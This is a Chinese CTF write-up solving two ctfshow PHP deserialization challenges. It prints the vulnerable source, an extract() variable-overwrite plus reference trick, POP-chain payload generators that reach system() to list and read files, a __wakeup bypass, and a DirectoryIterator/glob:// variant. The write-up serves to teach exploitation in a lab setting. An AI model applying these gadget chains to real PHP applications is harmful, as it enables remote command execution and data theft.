给我看看
<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
require_once("flag.php");
class whoami{
public $name;
public $your_answer;
public $useless;
public function __construct(){
$this->name='ctfshow第一深情';
$this->your_answer='Only you know';
$this->useless="I_love_u";
}
public function __wakeup(){
global $flag;
global $you_never_know;
$this->name=$you_never_know;
if($this->your_answer === $this->name){
echo $flag;
}
}
}
$secret = $_GET['s'];
if(isset($secret)){
if($secret==="给我看看!"){
extract($_POST);
if($secret==="给我看看!"){
die("<script>window.alert('这是不能说的秘密');location.href='https://www.bilibili.com/video/BV1CW411g7UF';</script>");
}
unserialize($secret);
}
}else{
show_source(__FILE__);
}
get参数:?s=给我看看
post:secret=(下面代码反序列化的结果)
<?php
class whoami{
public $name;
public $your_answer;
public $useless;
public function __construct(){
$this->your_answer=&$this->name;
}
}
echo(serialize(new whoami()));
考点是:extract变量覆盖,&引用
easypop
<?php
highlight_file (__FILE__);
error_reporting(0);
class action_1{
public $tmp;
public $fun = 'system';
public function __call($wo,$jia){
call_user_func($this->fun);
}
public function __wakeup(){
$this->fun = '';
die("阿祖收手吧,外面有套神");
}
public function __toString(){
return $this->tmp->str;
}
}
class action_2{
public $p;
public $tmp;
public function getFlag(){
if (isset($_GET['ctfshow'])) {
$this->tmp = $_GET['ctfshow'];
}
system("cat /".$this->tmp);
}
public function __call($wo,$jia){
phpinfo();
}
public function __wakeup(){
echo "<br>";
echo "php版本7.3哦,没有人可以再绕过我了";
echo "<br>";
}
public function __get($key){
$function = $this->p;
return $function();
}
}
class action_3{
public $str;
public $tmp;
public $ran;
public function __construct($rce){
echo "送给你了";
system($rce);
}
public function __destruct(){
urlencode($this->str);
}
public function __get($jia){
if(preg_match("/action_2/",get_class($this->ran))){
return "啥也没有";
}
return $this->ran->$jia();
}
}
class action_4{
public $ctf;
public $show;
public $jia;
public function __destruct(){
$jia = $this->jia;
echo $this->ran->$jia;
}
public function append($ctf,$show){
echo "<br>";
echo new $ctf($show);
}
public function __invoke(){
$this->append($this->ctf,$this->show);
}
}
if(isset($_GET['pop'])){
$pop = $_GET['pop'];
$output = unserialize($pop);
if(preg_match("/php/",$output)){
echo "套神黑进这里并给你了一个提示:文件名是f开头的形如fA6_形式的文件";
die("不可以用伪协议哦");
}
}
这也是一道反序列化的题目,把类的主要内容抽取一下
action_1:
__call:call_user_func
wake_up:$this->fun=""
toString:$this->tmp->str 1
action_2:
getFlag():system 1
__call:phpinfo()
__wakeup:没用
__get:$function() 1
action_3
__construct:system 1
__destruct:urlencode 1
__get:$this->ran->$jia() 1 触发call?或者getFlag?
action_4
__destruct: $this->ran->$jia 1
append:new $ctf($show) 1
__invoke:$this->append($this->ctf,$this->show) 1
上面是我做题的时候写的,标1的是我认为有用的,要找有destruct魔术方法的类入手,分析之后觉得action_3比较合适
把3当成触发,destruct->1 __toString->2 __get->4 invoke->3 construct
解释下为什么:
把3当成触发,3里面的__destruct里面有一个urlencode函数,这就不难想到,如果将一个类当成字符串处理的化会触发__toString,而有__toString方法的是1。1的__toString,里面有个$this->tmp->str,所以不难想到让他去触发__get魔术方法。有get魔术方法的是2与3,3我们已经用过了,所以考虑2的,2的__get方法中返回了一个函数,于是就想到了__invoke魔术方法,可以看到4的__invoke魔术方法中是调用了一个append的函数,这个函数里面new了一个类,因为我们最后的任务还是命令执行,然后就去调用3中的construct中的system方法
题目有提示说
echo "套神黑进这里并给你了一个提示:文件名是f开头的形如fA6_形式的文件";
果然使用ls /,没有找到这样的文件,所以猜测可能将文件隐藏了,ls -a /具有列出隐藏文件的功能,所以使用这个命令
<?php
class action_1{
public function __construct(){
$this->tmp=new action_2();
}
}
class action_2{
public function __construct(){
$this->p=new action_4();
}
}
class action_3{
public function __construct(){
$this->str=new action_1();
}
}
class action_4{
public function __construct(){
$this->ctf="action_3";
$this->show="ls -a /";
}
}
$a=new action_3();
echo(serialize($a));
然后使用cat /fz3_.txt就好了
其实直接使用cat /f*就可以了
对了,这里需要绕过wakeup,需要把action_2后面的成员属性数目大于实际数目,即把1改为2即可
但是这应该是非预期解,预期解是使用DirectoryIterator原生类配合glob://
The DirectoryIterator class provides a simple interface for viewingthe contents of filesystem directories. DirectoryIterator 类提供了一个简单的界面来查看文件系统目录的内容。
glob:// 查找匹配的文件路径模式
public function append($ctf,$show){
echo "<br>";
echo new $ctf($show);
}
append这里使用得是echo,将类当成字符串输出了,会调用到toString方法,那么不妨看一下DirectoryIterator中的toString方法
所以如果我们构造
<?php
class action_1{
public function __construct(){
$this->tmp=new action_2();
}
}
class action_2{
public function __construct(){
$this->p=new action_4();
}
}
class action_3{
public function __construct(){
$this->str=new action_1();
}
}
class action_4{
public function __construct(){
$this->ctf="DirectoryIterator";
$this->show="glob:///f[A-z][0-9]_*";
}
}
$a=new action_3();
echo(serialize($a));
因为前面有提示说:
echo “套神黑进这里并给你了一个提示:文件名是f开头的形如fA6_形式的文件”;
echo new DirectoryIterator(glob://…)只能输出得到的第一个文件名,所以我们构造要尽量的详细
得到文件名之后然后现在其实还有一个点没有用到就是action_2的
public function getFlag(){
if (isset($_GET['ctfshow'])) {
$this->tmp = $_GET['ctfshow'];
}
system("cat /".$this->tmp);
}
以及action_1的
public function __call($wo,$jia){
call_user_func($this->fun);
}
call_user_func()如果传入的值是一个数组,那么数组的第一个值被当成一个类,第二个值被当成类中的方法进行调用
下面就不分析了,直接给pop链
<?php
class action_1{
public function __construct(){
$this->fun=array(new action_2,'getFlag');
}
}
class action_2{
public $tmp='fz3_.txt';
}
class action_3{
public function __construct(){
$this->ran=new action_1();
}
}
class action_4{
public function __construct(){
$this->ran=new action_3();
}
}
$a=new action_4();
echo(serialize($a));
这个也需要绕过__wakeup,对这点不是绕过,是延迟,我们最后还是wakeup中的die结束程序的